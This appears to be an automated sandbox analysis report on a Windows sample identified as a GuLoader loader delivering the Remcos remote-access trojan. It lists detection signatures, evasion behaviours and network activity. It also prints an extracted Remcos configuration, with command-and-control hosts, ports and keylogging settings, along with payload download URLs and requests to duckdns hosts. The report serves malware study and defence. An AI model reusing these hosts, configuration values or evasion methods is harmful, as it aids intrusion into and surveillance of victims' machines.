Windows Analysis Report 7HHrcwZjLI.exe

Overview

General Information

Sample Name: 7HHrcwZjLI.exe
Analysis ID: 491246
MD5: 5f09b37b56cb003804dca1a778799746
SHA1: 7d9924657fb4275d47b1e8ff30abfd6a1726ca70
SHA256: 1f2f9b357003d7816259c172bff00bc8be6305247a94594de4eb9a7e7ecbb385
Tags: exeRATRemcosRAT
Infos:

Most interesting Screenshot:

Detection

GuLoader Remcos
Score: 100
Range: 0 - 100
Whitelisted: false
Confidence: 100%

Signatures

Found malware configuration
Potential malicious icon found
Multi AV Scanner detection for submitted file
GuLoader behavior detected
Yara detected Remcos RAT
Yara detected GuLoader
Hides threads from debuggers
Tries to detect Any.run
C2 URLs / IPs found in malware configuration
Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)
Machine Learning detection for sample
Uses dynamic DNS services
Creates a DirectInput object (often for capturing keystrokes)
Uses 32bit PE files
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Sample file is different than original file name gathered from version info
PE file contains strange resources
Uses a known web browser user agent for HTTP communication
May sleep (evasive loops) to hinder dynamic analysis
Uses code obfuscation techniques (call, push, ret)
Detected TCP or UDP traffic on non-standard ports
Sleep loop found (likely to delay execution)
Internet Provider seen in connection with other malware
Detected potential crypto function
Sample execution stops while process was sleeping (likely an evasion)
Contains functionality to call native functions
Creates a process in suspended mode (likely to inject code)
IP address seen in connection with other malware
Abnormal high CPU Usage

Classification

AV Detection:

barindex
Found malware configuration
Source: 00000000.00000002.569030215.0000000002CD0000.00000040.00000001.sdmp Malware Configuration Extractor: GuLoader {"Payload URL": "http://dypage.duckdns.org/remcos_d_QUBXVO174.b"}
Source: 00000013.00000002.869170451.0000000000860000.00000004.00000020.sdmp Malware Configuration Extractor: Remcos {"Host:Port:Password": "dyn-wave.duckdns.org:1144:1dyn-wave.duckdns.org:2404:0", "Assigned name": "RemoteHost_NEW", "Connect interval": "1", "Install flag": "Disable", "Setup HKCU\\Run": "Enable", "Setup HKLM\\Run": "Disable", "Install path": "AppData", "Copy file": "remcos.exe", "Startup value": "Remcos", "Hide file": "Disable", "Mutex": "Remcos-2LBKGP", "Keylog flag": "0", "Keylog path": "AppData", "Keylog file": "logs.dat", "Keylog crypt": "Disable", "Hide keylog file": "Disable", "Screenshot flag": "Disable", "Screenshot time": "10", "Take Screenshot option": "Disable", "Take screenshot title": "notepad;solitaire;", "Take screenshot time": "5", "Screenshot path": "AppData", "Screenshot file": "Screenshots", "Screenshot crypt": "Disable", "Mouse option": "Disable", "Delete file": "Disable", "Audio record time": "5", "Audio path": "AppData", "Audio folder": "MicRecords", "Connect delay": "0", "Copy folder": "Remcos", "Keylog folder": "remcos", "Keylog file max size": "20000"}
Multi AV Scanner detection for submitted file
Source: 7HHrcwZjLI.exe Virustotal: Detection: 39% Perma Link
Source: 7HHrcwZjLI.exe ReversingLabs: Detection: 15%
Yara detected Remcos RAT
Source: Yara match File source: 00000013.00000002.869170451.0000000000860000.00000004.00000020.sdmp, type: MEMORY
Machine Learning detection for sample
Source: 7HHrcwZjLI.exe Joe Sandbox ML: detected

Compliance:

barindex
Uses 32bit PE files
Source: 7HHrcwZjLI.exe Static PE information: LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, RELOCS_STRIPPED

Networking:

barindex
C2 URLs / IPs found in malware configuration
Source: Malware configuration extractor URLs: dyn-wave.duckdns.org
Source: Malware configuration extractor URLs: http://dypage.duckdns.org/remcos_d_QUBXVO174.b
Uses dynamic DNS services
Source: unknown DNS query: name: dypage.duckdns.org
Source: unknown DNS query: name: dyn-wave.duckdns.org
Uses a known web browser user agent for HTTP communication
Source: global traffic HTTP traffic detected: GET /remcos_d_QUBXVO174.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like GeckoHost: dypage.duckdns.orgCache-Control: no-cache
Detected TCP or UDP traffic on non-standard ports
Source: global traffic TCP traffic: 192.168.2.6:49827 -> 23.146.241.70:1144
Internet Provider seen in connection with other malware
Source: Joe Sandbox View ASN Name: VDI-NETWORKUS VDI-NETWORKUS
Source: Joe Sandbox View ASN Name: VDI-NETWORKUS VDI-NETWORKUS
IP address seen in connection with other malware
Source: Joe Sandbox View IP Address: 23.146.242.85 23.146.242.85
Source: 7HHrcwZjLI.exe, 00000013.00000002.868976624.00000000006B0000.00000004.00000001.sdmp String found in binary or memory: http://backupsoldyn.duckdns.org/remcos_d_QUBXVO174.bin
Source: 7HHrcwZjLI.exe, 00000013.00000002.868976624.00000000006B0000.00000004.00000001.sdmp String found in binary or memory: http://dypage.duckdns.org/remcos_d_QUBXVO174.bin
Source: 7HHrcwZjLI.exe, 00000013.00000002.868976624.00000000006B0000.00000004.00000001.sdmp String found in binary or memory: http://dypage.duckdns.org/remcos_d_QUBXVO174.binhttp://backupsoldyn.duckdns.org/remcos_d_QUBXVO174.b
Source: unknown DNS traffic detected: queries for: dypage.duckdns.org
Source: global traffic HTTP traffic detected: GET /remcos_d_QUBXVO174.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like GeckoHost: dypage.duckdns.orgCache-Control: no-cache

Key, Mouse, Clipboard, Microphone and Screen Capturing:

barindex
Creates a DirectInput object (often for capturing keystrokes)
Source: 7HHrcwZjLI.exe, 00000000.00000002.568216275.000000000074A000.00000004.00000020.sdmp Binary or memory string: <HOOK MODULE="DDRAW.DLL" FUNCTION="DirectDrawCreateEx"/>

E-Banking Fraud:

barindex
Yara detected Remcos RAT
Source: Yara match File source: 00000013.00000002.869170451.0000000000860000.00000004.00000020.sdmp, type: MEMORY

System Summary:

barindex
Potential malicious icon found
Source: initial sample Icon embedded in PE file: bad icon match: 20047c7c70f0e004
Uses 32bit PE files
Source: 7HHrcwZjLI.exe Static PE information: LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, RELOCS_STRIPPED
Sample file is different than original file name gathered from version info
Source: 7HHrcwZjLI.exe, 00000000.00000000.344350820.0000000000430000.00000002.00020000.sdmp Binary or memory string: OriginalFilenameTREMMERNE.exe vs 7HHrcwZjLI.exe
Source: 7HHrcwZjLI.exe, 00000013.00000000.566360614.0000000000430000.00000002.00020000.sdmp Binary or memory string: OriginalFilenameTREMMERNE.exe vs 7HHrcwZjLI.exe
Source: 7HHrcwZjLI.exe Binary or memory string: OriginalFilenameTREMMERNE.exe vs 7HHrcwZjLI.exe
PE file contains strange resources
Source: 7HHrcwZjLI.exe Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Detected potential crypto function
Source: C:\Users\user\Desktop\7HHrcwZjLI.exe Code function: 0_2_004013F0 0_2_004013F0
Source: C:\Users\user\Desktop\7HHrcwZjLI.exe Code function: 19_2_0056EA07 19_2_0056EA07
Contains functionality to call native functions
Source: C:\Users\user\Desktop\7HHrcwZjLI.exe Code function: 19_2_0056E855 Sleep,NtProtectVirtualMemory, 19_2_0056E855
Source: C:\Users\user\Desktop\7HHrcwZjLI.exe Code function: 19_2_0056E713 NtProtectVirtualMemory, 19_2_0056E713
Source: C:\Users\user\Desktop\7HHrcwZjLI.exe Code function: 19_2_0056E85C Sleep,NtProtectVirtualMemory, 19_2_0056E85C
Source: C:\Users\user\Desktop\7HHrcwZjLI.exe Code function: 19_2_0056E6F7 NtProtectVirtualMemory, 19_2_0056E6F7
Source: C:\Users\user\Desktop\7HHrcwZjLI.exe Code function: 19_2_0056E6F0 NtProtectVirtualMemory, 19_2_0056E6F0
Source: C:\Users\user\Desktop\7HHrcwZjLI.exe Code function: 19_2_0056E7EF NtProtectVirtualMemory,Sleep, 19_2_0056E7EF
Source: C:\Users\user\Desktop\7HHrcwZjLI.exe Code function: 19_2_0056E56F TerminateThread,NtProtectVirtualMemory, 19_2_0056E56F
Abnormal high CPU Usage
Source: C:\Users\user\Desktop\7HHrcwZjLI.exe Process Stats: CPU usage > 98%
Source: 7HHrcwZjLI.exe Virustotal: Detection: 39%
Source: 7HHrcwZjLI.exe ReversingLabs: Detection: 15%
Source: 7HHrcwZjLI.exe Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
Source: C:\Users\user\Desktop\7HHrcwZjLI.exe Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers Jump to behavior
Source: C:\Users\user\Desktop\7HHrcwZjLI.exe Section loaded: C:\Windows\SysWOW64\msvbvm60.dll Jump to behavior
Source: unknown Process created: C:\Users\user\Desktop\7HHrcwZjLI.exe 'C:\Users\user\Desktop\7HHrcwZjLI.exe'
Source: C:\Users\user\Desktop\7HHrcwZjLI.exe Process created: C:\Users\user\Desktop\7HHrcwZjLI.exe 'C:\Users\user\Desktop\7HHrcwZjLI.exe'
Source: C:\Users\user\Desktop\7HHrcwZjLI.exe Process created: C:\Users\user\Desktop\7HHrcwZjLI.exe 'C:\Users\user\Desktop\7HHrcwZjLI.exe' Jump to behavior
Source: C:\Users\user\Desktop\7HHrcwZjLI.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32 Jump to behavior
Source: C:\Users\user\Desktop\7HHrcwZjLI.exe Mutant created: \Sessions\1\BaseNamedObjects\Remcos-2LBKGP
Source: classification engine Classification label: mal100.rans.troj.evad.winEXE@3/0@2/2
Source: C:\Users\user\Desktop\7HHrcwZjLI.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Users\user\Desktop\7HHrcwZjLI.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Users\user\Desktop\7HHrcwZjLI.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior

Data Obfuscation:

barindex
Yara detected GuLoader
Source: Yara match File source: 00000000.00000002.569030215.0000000002CD0000.00000040.00000001.sdmp, type: MEMORY
Uses code obfuscation techniques (call, push, ret)
Source: C:\Users\user\Desktop\7HHrcwZjLI.exe Code function: 0_2_00429D10 push dword ptr [edi+000000BCh]; retn 0010h 0_2_00429FF9
Source: C:\Users\user\Desktop\7HHrcwZjLI.exe Code function: 0_2_004068DE push eax; retf 0_2_004068DF
Source: C:\Users\user\Desktop\7HHrcwZjLI.exe Code function: 0_2_00406EF4 pushfd ; ret 0_2_00406EFC
Source: C:\Users\user\Desktop\7HHrcwZjLI.exe Code function: 0_2_004069C0 push edx; retf 0_2_004069C2
Source: C:\Users\user\Desktop\7HHrcwZjLI.exe Code function: 0_2_00403B97 push FFFFFFC2h; retf 0_2_00403BD5
Source: C:\Users\user\Desktop\7HHrcwZjLI.exe Code function: 0_2_00403F99 push edx; rep ret 0_2_00403FB0
Source: initial sample Static PE information: section name: .text entropy: 7.41395278491
Source: C:\Users\user\Desktop\7HHrcwZjLI.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\7HHrcwZjLI.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\7HHrcwZjLI.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\7HHrcwZjLI.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\7HHrcwZjLI.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\7HHrcwZjLI.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\7HHrcwZjLI.exe Process information set: NOOPENFILEERRORBOX Jump to behavior

Malware Analysis System Evasion:

barindex
Tries to detect Any.run
Source: C:\Users\user\Desktop\7HHrcwZjLI.exe File opened: C:\Program Files\Qemu-ga\qemu-ga.exe Jump to behavior
Source: C:\Users\user\Desktop\7HHrcwZjLI.exe File opened: C:\Program Files\qga\qga.exe Jump to behavior
Source: C:\Users\user\Desktop\7HHrcwZjLI.exe File opened: C:\Program Files\Qemu-ga\qemu-ga.exe Jump to behavior
Source: C:\Users\user\Desktop\7HHrcwZjLI.exe File opened: C:\Program Files\qga\qga.exe Jump to behavior
Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)
Source: 7HHrcwZjLI.exe, 00000000.00000002.568712030.0000000002250000.00000004.00000001.sdmp Binary or memory string: NTDLLKERNEL32USER32C:\PROGRAM FILES\QEMU-GA\QEMU-GA.EXEC:\PROGRAM FILES\QGA\QGA.EXEPSAPI.DLLMSI.DLLPUBLISHERSHELL32ADVAPI32TEMP=WINDIR=\SYSWOW64\MSVBVM60.DLL
Source: 7HHrcwZjLI.exe, 00000000.00000002.568712030.0000000002250000.00000004.00000001.sdmp, 7HHrcwZjLI.exe, 00000013.00000002.868976624.00000000006B0000.00000004.00000001.sdmp Binary or memory string: C:\PROGRAM FILES\QEMU-GA\QEMU-GA.EXE
Source: 7HHrcwZjLI.exe, 00000013.00000002.868976624.00000000006B0000.00000004.00000001.sdmp Binary or memory string: NTDLLKERNEL32USER32C:\PROGRAM FILES\QEMU-GA\QEMU-GA.EXEC:\PROGRAM FILES\QGA\QGA.EXEPSAPI.DLLMSI.DLLPUBLISHERSHELL32ADVAPI32TEMP=HTTP://DYPAGE.DUCKDNS.ORG/REMCOS_D_QUBXVO174.BINHTTP://BACKUPSOLDYN.DUCKDNS.ORG/REMCOS_D_QUBXVO174.BINWININET.DLLMOZILLA/5.0 (WINDOWS NT 6.1; WOW64; TRIDENT/7.0; RV:11.0) LIKE GECKO
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Source: C:\Users\user\Desktop\7HHrcwZjLI.exe Window / User API: threadDelayed 1840 Jump to behavior
May sleep (evasive loops) to hinder dynamic analysis
Source: C:\Users\user\Desktop\7HHrcwZjLI.exe TID: 6912 Thread sleep count: 1840 > 30 Jump to behavior
Sleep loop found (likely to delay execution)
Source: C:\Users\user\Desktop\7HHrcwZjLI.exe Thread sleep count: Count: 1840 delay: -5 Jump to behavior
Sample execution stops while process was sleeping (likely an evasion)
Source: C:\Users\user\Desktop\7HHrcwZjLI.exe Last function: Thread delayed
Source: C:\Users\user\Desktop\7HHrcwZjLI.exe System information queried: ModuleInformation Jump to behavior
Source: 7HHrcwZjLI.exe, 00000013.00000002.868976624.00000000006B0000.00000004.00000001.sdmp Binary or memory string: ntdllkernel32user32C:\Program Files\Qemu-ga\qemu-ga.exeC:\Program Files\qga\qga.exepsapi.dllMsi.dllPublishershell32advapi32TEMP=http://dypage.duckdns.org/remcos_d_QUBXVO174.binhttp://backupsoldyn.duckdns.org/remcos_d_QUBXVO174.binwininet.dllMozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
Source: 7HHrcwZjLI.exe, 00000000.00000002.568712030.0000000002250000.00000004.00000001.sdmp Binary or memory string: ntdllkernel32user32C:\Program Files\Qemu-ga\qemu-ga.exeC:\Program Files\qga\qga.exepsapi.dllMsi.dllPublishershell32advapi32TEMP=windir=\syswow64\msvbvm60.dll
Source: 7HHrcwZjLI.exe, 00000000.00000002.568712030.0000000002250000.00000004.00000001.sdmp, 7HHrcwZjLI.exe, 00000013.00000002.868976624.00000000006B0000.00000004.00000001.sdmp Binary or memory string: C:\Program Files\Qemu-ga\qemu-ga.exe

Anti Debugging:

barindex
Hides threads from debuggers
Source: C:\Users\user\Desktop\7HHrcwZjLI.exe Thread information set: HideFromDebugger Jump to behavior
Source: C:\Users\user\Desktop\7HHrcwZjLI.exe Thread information set: HideFromDebugger Jump to behavior

HIPS / PFW / Operating System Protection Evasion:

barindex
Creates a process in suspended mode (likely to inject code)
Source: C:\Users\user\Desktop\7HHrcwZjLI.exe Process created: C:\Users\user\Desktop\7HHrcwZjLI.exe 'C:\Users\user\Desktop\7HHrcwZjLI.exe' Jump to behavior
Source: 7HHrcwZjLI.exe, 00000013.00000002.869370565.0000000000DA0000.00000002.00020000.sdmp Binary or memory string: Shell_TrayWnd
Source: 7HHrcwZjLI.exe, 00000013.00000002.869370565.0000000000DA0000.00000002.00020000.sdmp Binary or memory string: Progman
Source: 7HHrcwZjLI.exe, 00000013.00000002.869370565.0000000000DA0000.00000002.00020000.sdmp Binary or memory string: &Program Manager
Source: 7HHrcwZjLI.exe, 00000013.00000002.869370565.0000000000DA0000.00000002.00020000.sdmp Binary or memory string: Progmanlock

Stealing of Sensitive Information:

barindex
GuLoader behavior detected
Source: Initial file Signature Results: GuLoader behavior
Yara detected Remcos RAT
Source: Yara match File source: 00000013.00000002.869170451.0000000000860000.00000004.00000020.sdmp, type: MEMORY

Remote Access Functionality:

barindex
Yara detected Remcos RAT
Source: Yara match File source: 00000013.00000002.869170451.0000000000860000.00000004.00000020.sdmp, type: MEMORY
windows-stand
Hide Legend

Legend:

  • Process
  • Signature
  • Created File
  • DNS/IP Info
  • Is Dropped
  • Is Windows Process
  • Number of created Registry Values
  • Number of created Files
  • Visual Basic
  • Delphi
  • Java
  • .Net C# or VB.NET
  • C, C++ or other language
  • Is malicious
  • Internet
behaviorgraph top1 signatures2 2 Behavior Graph ID: 491246 Sample: 7HHrcwZjLI.exe Startdate: 27/09/2021 Architecture: WINDOWS Score: 100 17 Potential malicious icon found 2->17 19 Found malware configuration 2->19 21 Multi AV Scanner detection for submitted file 2->21 23 7 other signatures 2->23 6 7HHrcwZjLI.exe 2->6         started        process3 signatures4 25 Tries to detect Any.run 6->25 27 Hides threads from debuggers 6->27 9 7HHrcwZjLI.exe 2 6 6->9         started        process5 dnsIp6 13 dyn-wave.duckdns.org 23.146.241.70, 1144, 49827 VDI-NETWORKUS Reserved 9->13 15 dypage.duckdns.org 23.146.242.85, 49826, 80 VDI-NETWORKUS Reserved 9->15 29 Tries to detect Any.run 9->29 31 Hides threads from debuggers 9->31 signatures7
  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs

Contacted Public IPs

IP Domain Country Flag ASN ASN Name Malicious
23.146.241.70
 dyn-wave.duckdns.org Reserved
46664 VDI-NETWORKUS true
23.146.242.85
 dypage.duckdns.org Reserved
46664 VDI-NETWORKUS true

Contacted Domains

Name IP Active
dypage.duckdns.org 23.146.242.85 true
dyn-wave.duckdns.org 23.146.241.70 true

Contacted URLs

Name Malicious Antivirus Detection Reputation
http://dypage.duckdns.org/remcos_d_QUBXVO174.b true
  • Avira URL Cloud: safe
 unknown
http://dypage.duckdns.org/remcos_d_QUBXVO174.bin false
  • 0%, Virustotal, Browse
  • Avira URL Cloud: safe
 unknown
dyn-wave.duckdns.org true
  • Avira URL Cloud: safe
 unknown